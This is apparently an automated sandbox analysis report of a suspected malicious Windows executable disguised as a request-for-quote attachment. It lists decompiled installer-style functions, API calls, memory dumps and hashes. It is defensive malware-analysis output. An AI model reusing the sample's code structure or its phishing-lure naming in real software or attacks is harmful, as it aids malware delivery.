0x00401b13
0x00401b13
0x00401b13
0x00401b16
0x00000000
0x00000000
0x00401b1c
0x00401b20
0x00000000
0x00401b22
0x00401b24
0x00000000
0x00401b2a
0x00401b2a
0x00401b34
0x00401b39
0x00401b43
0x00401b48
0x00401b4d
0x00401b51
0x004027b1
0x0040288b
0x0040288e
0x00402894
0x00402894
0x00401b24
0x00000000
0x00401b20
0x004021fb
0x00402208
0x00402209
0x0040220e
0x0040220e
0x00402896
0x0040289a

APIs

GlobalFree.KERNEL32 ref: 00401B75
GlobalAlloc.KERNELBASE(00000040,00000404), ref: 00401B87

Strings

Call, xrefs: 00401B2D, 00401B33, 00401B4D

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 2dc775666dca31206916f57334fb0a9f74be6216eb206d4775a60ee4480347cc
Instruction ID: dedcc356a049729cc32aa0533657a7b943fc31f5ec42b7739970f76d43a2a4df
Opcode Fuzzy Hash: 2dc775666dca31206916f57334fb0a9f74be6216eb206d4775a60ee4480347cc
Instruction Fuzzy Hash: D221A8B2604202DBD710FBA4DE8595F73A4FB44328724453BF606F32D0EB78A8119B6E

Uniqueness

Uniqueness Score: -1.00%

Function 1000120C, Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00000000), ref: 100012CB
GetLastError.KERNEL32 ref: 100013D2

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: e37e7e391b3a2b8b5636dc6aebf24869d58b81a53228d5294debfeeb9962e7db
Instruction ID: f07c43787ce958523a2b1e991860d2c35ff6be18a2ffa2491c02e46e3495c162
Opcode Fuzzy Hash: e37e7e391b3a2b8b5636dc6aebf24869d58b81a53228d5294debfeeb9962e7db
Instruction Fuzzy Hash: B75183FA904214DFFB20DFA4DC8279977A4EB443D4F21842AFA04E721DDB34A990CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00401389, Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423eb0;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x42366c =  *0x42366c + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x42366c, 0x7530,  *0x423654), 0);
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction ID: 9357c62ddf9e7b3c824d0b87f8e4bad160879ee2cb8093492041203a2cf1b2c1
Opcode Fuzzy Hash: 1c916d205157ad73d7dec8fa4d75793a4825b6d15c61c30e95467a340dd2df53
Instruction Fuzzy Hash: A301F431724210ABE7295B389D04B2A36ADF710355F10427BF855F66F1D67CDC028B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004056B4, Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004056B4(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x004056b8
0x004056c5
0x004056da
0x004056e0

APIs

GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,80000000,00000003), ref: 004056B8
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction ID: 518821d5ca0a74227a37217cadb520a33af9faec79942caa6648154b48e23ab6
Opcode Fuzzy Hash: f96d5d8e90d761c4e0dddf78ec48930a46771e4615b27f2c581d09f506512028
Instruction Fuzzy Hash: DDD09E71658301AFEF098F20DE1AF2E7AA2EB84B01F10962CB646940E0D6715C15DB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405695, Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405695(CHAR* _a4) {
				signed char _t3;

				_t3 = GetFileAttributesA(_a4); // executed
				if(_t3 != 0xffffffff) {
					return SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t3;
			}

0x00405699
0x004056a2
0x00000000
0x004056ab
0x004056b1

APIs

GetFileAttributesA.KERNELBASE(?,004054A0,?,?,?), ref: 00405699
SetFileAttributesA.KERNEL32(?,00000000), ref: 004056AB

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 6114cdacef20a61ffb1e354697c2a54f95ff97830a0005cd613603337fba2c3c
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: 72C04CB1808501BBD6015B24DF0D81F7B66EB51321B508F35F56DE00F1C7355CA6DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 0040304E, Relevance: 1.5, APIs: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040304E(void* _a4, long _a8) {
				int _t6;
				long _t10;

				_t10 = _a8;
				_t6 = ReadFile( *0x409014, _a4, _t10,  &_a8, 0); // executed
				if(_t6 == 0 || _a8 != _t10) {
					return 0;
				} else {
					return 1;
				}
			}

0x00403052
0x00403065
0x0040306d
0x00000000
0x00403074
0x00000000
0x00403076

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,00402EA7,000000FF,00000004,00000000,00000000,00000000), ref: 00403065

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: cf04fcf122da41e7499d2f74f705547a68887b1f6d4f421339b8fb166199a16f
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: 2AE08C32901118BBCF205E619C00EAB3B5CEB053A2F00C032FA14E52A0D630EA11DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 10002930, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {

				 *0x10004038 = _a4;
				if(_a8 == 1) {
					VirtualProtect(0x1000404c, 4, 0x40, 0x1000403c); // executed
					 *0x1000404c = 0xc2;
					 *0x1000403c = 0;
					 *0x10004044 = 0;
					 *0x10004054 = 0;
					 *0x10004048 = 0;
					 *0x10004040 = 0;
					 *0x1000404e = 0;
				}
				return 1;
			}

0x10002939
0x1000293e
0x1000294e
0x10002956
0x1000295d
0x10002962
0x10002967
0x1000296c
0x10002971
0x10002976
0x10002976
0x1000297e

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 1000294E

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction ID: 48d6293a520ab1310b80528f385a012c899c9e0ceb66e9e696cbd892b99779f9
Opcode Fuzzy Hash: 34d967791fa0c81937acb5e832d60935bd6fac481f559dacb71f15d92aed8369
Instruction Fuzzy Hash: 1BE0AEF15092A0DEF360DF688CC47023EE4A3983C5B03842AE348F6269EB3841448B19

Uniqueness

Uniqueness Score: -1.00%

Function 00403080, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403080(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409014, _a4, 0, 0); // executed
				return _t2;
			}

0x0040308e
0x00403094

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DE9,?), ref: 0040308E

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 10001000, Relevance: 1.3, APIs: 1, Instructions: 16
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E10001000(intOrPtr _a8, intOrPtr _a16) {
				long _t5;
				void* _t6;

				 *0x10004058 = _a8;
				 *0x1000405c = _a16;
				_t5 = E100017FE();
				if(_t5 != 0) {
					_t6 = GlobalAlloc(0x40, _t5); // executed
					_push(_t6);
				} else {
					_push(_t5);
				}
				return E10001825();
			}

0x10001004
0x1000100d
0x10001012
0x10001019
0x10001021
0x10001027
0x1000101b
0x1000101b
0x1000101b
0x1000102e

APIs

GlobalAlloc.KERNELBASE(00000040,00000000), ref: 10001021

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 023b6dbb777d1917f2a02935aae2fac2c5a2dc8c30c8e10d6e6ce090962d3b5b
Instruction ID: 099bf70f298303271a826424d9ac3f9410695f2538c5729eebddd676c7a58e86
Opcode Fuzzy Hash: 023b6dbb777d1917f2a02935aae2fac2c5a2dc8c30c8e10d6e6ce090962d3b5b
Instruction Fuzzy Hash: BDD05EF8604381ABF300DF60C885A4B37E8EB482C0F118819FA45D2118DA7498404F20

Uniqueness

Uniqueness Score: -1.00%

Function 10001541, Relevance: 1.3, APIs: 1, Instructions: 4
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001541() {
				void* _t1;

				_t1 = GlobalAlloc(0x40,  *0x10004058); // executed
				return _t1;
			}

0x10001549
0x1000154f

APIs

GlobalAlloc.KERNELBASE(00000040,10001577,?,?,10001804,?,10001017), ref: 10001549

Memory Dump Source

Source File: 00000000.00000002.666968519.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.666947025.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666986857.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.666999749.0000000010005000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 7b5eed81e2901482d8b61a1c6600ff8eb3952a21cb33a114867dcac47047f9af
Instruction ID: 305db27d9feb3ad942446de8fc5e9d5ce911d10906235a569225c64140842302
Opcode Fuzzy Hash: 7b5eed81e2901482d8b61a1c6600ff8eb3952a21cb33a114867dcac47047f9af
Instruction Fuzzy Hash: 86A002B25415609BFE466BD08D9EF463F25F744781F128040E719650B8CA750064DF19

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404EB9, Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00404EB9(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t87;
				unsigned int _t92;
				int _t94;
				int _t95;
				void* _t101;
				intOrPtr _t123;
				struct HWND__* _t127;
				int _t149;
				int _t150;
				struct HWND__* _t154;
				struct HWND__* _t158;
				struct HMENU__* _t160;
				long _t162;
				void* _t163;
				short* _t164;

				_t154 =  *0x423664;
				_t149 = 0;
				_v8 = _t154;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						CloseHandle(CreateThread(0, 0, E00404E4D, GetDlgItem(_a4, 0x3ec), 0,  &_v12));
					}
					if(_a8 != 0x111) {
						L17:
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b || _a12 != _t154) {
								goto L20;
							} else {
								_t87 = SendMessageA(_t154, 0x1004, _t149, _t149);
								_a8 = _t87;
								if(_t87 <= _t149) {
									L37:
									return 0;
								}
								_t160 = CreatePopupMenu();
								AppendMenuA(_t160, _t149, 1, E004059FF(_t149, _t154, _t160, _t149, 0xffffffe1));
								_t92 = _a16;
								if(_t92 != 0xffffffff) {
									_t150 = _t92;
									_t94 = _t92 >> 0x10;
								} else {
									GetWindowRect(_t154,  &_v28);
									_t150 = _v28.left;
									_t94 = _v28.top;
								}
								_t95 = TrackPopupMenu(_t160, 0x180, _t150, _t94, _t149, _a4, _t149);
								_t162 = 1;
								if(_t95 == 1) {
									_v60 = _t149;
									_v48 = 0x420478;
									_v44 = 0xfff;
									_a4 = _a8;
									do {
										_a4 = _a4 - 1;
										_t162 = _t162 + SendMessageA(_v8, 0x102d, _a4,  &_v68) + 2;
									} while (_a4 != _t149);
									OpenClipboard(_t149);
									EmptyClipboard();
									_t101 = GlobalAlloc(0x42, _t162);
									_a4 = _t101;
									_t163 = GlobalLock(_t101);
									do {
										_v48 = _t163;
										_t164 = _t163 + SendMessageA(_v8, 0x102d, _t149,  &_v68);
										 *_t164 = 0xa0d;
										_t163 = _t164 + 2;
										_t149 = _t149 + 1;
									} while (_t149 < _a8);
									GlobalUnlock(_a4);
									SetClipboardData(1, _a4);
									CloseClipboard();
								}
								goto L37;
							}
						}
						if( *0x42364c == _t149) {
							ShowWindow( *0x423e88, 8);
							if( *0x423f0c == _t149) {
								E00404D7B( *((intOrPtr*)( *0x41fc48 + 0x34)), _t149);
							}
							E00403D68(1);
							goto L25;
						}
						 *0x41f840 = 2;
						E00403D68(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E00403DF6(_a8, _a12, _a16);
						}
						ShowWindow( *0x423650, _t149);
						ShowWindow(_t154, 8);
						E00403DC4(_t154);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_v60 = 2;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t123 =  *0x423e90;
				_a8 =  *((intOrPtr*)(_t123 + 0x5c));
				_a12 =  *((intOrPtr*)(_t123 + 0x60));
				 *0x423650 = GetDlgItem(_a4, 0x403);
				 *0x423648 = GetDlgItem(_a4, 0x3ee);
				_t127 = GetDlgItem(_a4, 0x3f8);
				 *0x423664 = _t127;
				_v8 = _t127;
				E00403DC4( *0x423650);
				 *0x423654 = E0040461D(4);
				 *0x42366c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(0x15);
				SendMessageA(_v8, 0x101b, 0,  &_v60);
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000);
				if(_a8 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a8);
					SendMessageA(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t149) {
					SendMessageA(_v8, 0x1024, _t149, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403D8F(_a4);
				if(( *0x423e98 & 0x00000003) != 0) {
					ShowWindow( *0x423650, _t149);
					if(( *0x423e98 & 0x00000002) != 0) {
						 *0x423650 = _t149;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403DC4( *0x423648);
				}
				_t158 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t158, 0x401, _t149, 0x75300000);
				if(( *0x423e98 & 0x00000004) != 0) {
					SendMessageA(_t158, 0x409, _t149, _a12);
					SendMessageA(_t158, 0x2001, _t149, _a8);
				}
				goto L37;
			}

0x00404ec2
0x00404ec8
0x00404ed1
0x00404ed4
0x0040506c
0x00405090
0x00405090
0x004050a3
0x004050c1
0x004050c8
0x0040511f
0x00405123
0x00000000
0x0040512a
0x00405132
0x0040513a
0x0040513d
0x00405236
0x00000000
0x00405236
0x0040514c
0x00405158
0x0040515e
0x00405164
0x00405179
0x0040517f
0x00405166
0x0040516b
0x00405171
0x00405174
0x00405174
0x0040518f
0x00405197
0x0040519a
0x004051a3
0x004051a6
0x004051ad
0x004051b4
0x004051bc
0x004051bc
0x004051d3
0x004051d3
0x004051da
0x004051e0
0x004051e9
0x004051f0
0x004051f9
0x004051fb
0x004051fe
0x0040520d
0x0040520f
0x00405215
0x00405216
0x00405217
0x0040521f
0x0040522a
0x00405230
0x00405230
0x00000000
0x0040519a
0x00405123
0x004050d0
0x00405100
0x00405108
0x00405113
0x00405113
0x0040511a
0x00000000
0x0040511a
0x004050d4
0x004050de
0x00000000
0x004050a5
0x004050ab
0x004050e3
0x00000000
0x004050ec
0x004050b4
0x004050b9
0x004050bc
0x00000000
0x004050bc
0x004050a3
0x00404eda
0x00404ede
0x00404ee7
0x00404eee
0x00404ef1
0x00404ef4
0x00404ef7
0x00404ef8
0x00404ef9
0x00404f12
0x00404f15
0x00404f1f
0x00404f2e
0x00404f36
0x00404f3e
0x00404f43
0x00404f46
0x00404f52
0x00404f5b
0x00404f64
0x00404f87
0x00404f8d
0x00404f9e
0x00404fa3
0x00404fb1
0x00404fbf
0x00404fbf
0x00404fc4
0x00404fd2
0x00404fd2
0x00404fd7
0x00404fda
0x00404fdf
0x00404feb
0x00404ff4
0x00405001
0x00405010
0x00405003
0x00405008
0x00405008
0x0040501c
0x0040501c
0x00405030
0x00405039
0x00405042
0x00405052
0x0040505e
0x0040505e
0x00000000

APIs

GetDlgItem.USER32 ref: 00404F18
GetDlgItem.USER32 ref: 00404F27
GetClientRect.USER32 ref: 00404F64
GetSystemMetrics.USER32 ref: 00404F6C
SendMessageA.USER32 ref: 00404F8D
SendMessageA.USER32 ref: 00404F9E
SendMessageA.USER32 ref: 00404FB1
SendMessageA.USER32 ref: 00404FBF
SendMessageA.USER32 ref: 00404FD2
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404FF4
ShowWindow.USER32(?,00000008), ref: 00405008
GetDlgItem.USER32 ref: 00405029
SendMessageA.USER32 ref: 00405039
SendMessageA.USER32 ref: 00405052
SendMessageA.USER32 ref: 0040505E
GetDlgItem.USER32 ref: 00404F36

Part of subcall function 00403DC4: SendMessageA.USER32 ref: 00403DD2

GetDlgItem.USER32 ref: 0040507B
CreateThread.KERNEL32(00000000,00000000,Function_00004E4D,00000000), ref: 00405089
CloseHandle.KERNEL32(00000000), ref: 00405090
ShowWindow.USER32(00000000), ref: 004050B4
ShowWindow.USER32(?,00000008), ref: 004050B9
ShowWindow.USER32(00000008), ref: 00405100
SendMessageA.USER32 ref: 00405132
CreatePopupMenu.USER32 ref: 00405143
AppendMenuA.USER32 ref: 00405158
GetWindowRect.USER32 ref: 0040516B
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040518F
SendMessageA.USER32 ref: 004051CA
OpenClipboard.USER32(00000000), ref: 004051DA
EmptyClipboard.USER32(?,?,00000000,?,00000000), ref: 004051E0
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004051E9
GlobalLock.KERNEL32 ref: 004051F3
SendMessageA.USER32 ref: 00405207
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040521F
SetClipboardData.USER32(00000001,00000000), ref: 0040522A
CloseClipboard.USER32(?,?,00000000,?,00000000), ref: 00405230

Strings

{, xrefs: 0040511F

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction ID: d8c2bf4a41f8d47596d7e212a196e63f96e24a60825c263716f9721a4c55cacb
Opcode Fuzzy Hash: 001334b4ba3c222cf79d50ec4f04ffad4c31a43647bbcf3abe0fe5947dea7136
Instruction Fuzzy Hash: 99A13A71900208BFDB219F60DD89EAE7F79FB04355F00817AFA04BA2A0C7799A51DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004046CA, Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 478
windowmemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E004046CA(struct HWND__* _a4, int _a8, unsigned int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				signed int _v16;
				intOrPtr _v20;
				void* _v24;
				long _v28;
				int _v32;
				signed int _v40;
				int _v44;
				signed int* _v56;
				intOrPtr _v60;
				signed int _v64;
				long _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t182;
				int _t196;
				long _t202;
				signed int _t206;
				signed int _t217;
				void* _t220;
				void* _t221;
				int _t227;
				signed int _t232;
				signed int _t233;
				signed int _t240;
				struct HBITMAP__* _t250;
				void* _t252;
				char* _t268;
				signed char _t269;
				long _t274;
				int _t280;
				signed int* _t281;
				int _t282;
				long _t283;
				int _t285;
				long _t286;
				signed int _t287;
				long _t288;
				signed int _t291;
				signed int _t298;
				signed int _t300;
				signed int _t302;
				int* _t310;
				void* _t311;
				int _t315;
				int _t316;
				int _t317;
				signed int _t318;
				void* _t320;

				_v12 = GetDlgItem(_a4, 0x3f9);
				_t182 = GetDlgItem(_a4, 0x408);
				_t280 =  *0x423ea8;
				_t320 = SendMessageA;
				_v8 = _t182;
				_t315 = 0;
				_v32 = _t280;
				_v20 =  *0x423e90 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t289 = _a16;
					} else {
						_a12 = _t315;
						_t289 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t289;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t289 + 4)) == 0x408) {
							if(( *0x423e99 & 0x00000002) != 0) {
								L41:
								if(_v16 != _t315) {
									_t232 = _v16;
									if( *((intOrPtr*)(_t232 + 8)) == 0xfffffe6e) {
										SendMessageA(_v8, 0x419, _t315,  *(_t232 + 0x5c));
									}
									_t233 = _v16;
									if( *((intOrPtr*)(_t233 + 8)) == 0xfffffe6a) {
										if( *((intOrPtr*)(_t233 + 0xc)) != 2) {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) & 0xffffffdf;
										} else {
											 *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) =  *( *(_t233 + 0x5c) * 0x418 + _t280 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t289 = 0 | _a8 != 0x00000413;
								_t240 = E0040464A(_v8, _a8 != 0x413);
								if(_t240 >= _t315) {
									_t93 = _t280 + 8; // 0x8
									_t310 = _t240 * 0x418 + _t93;
									_t289 =  *_t310;
									if((_t289 & 0x00000010) == 0) {
										if((_t289 & 0x00000040) == 0) {
											_t298 = _t289 ^ 0x00000001;
										} else {
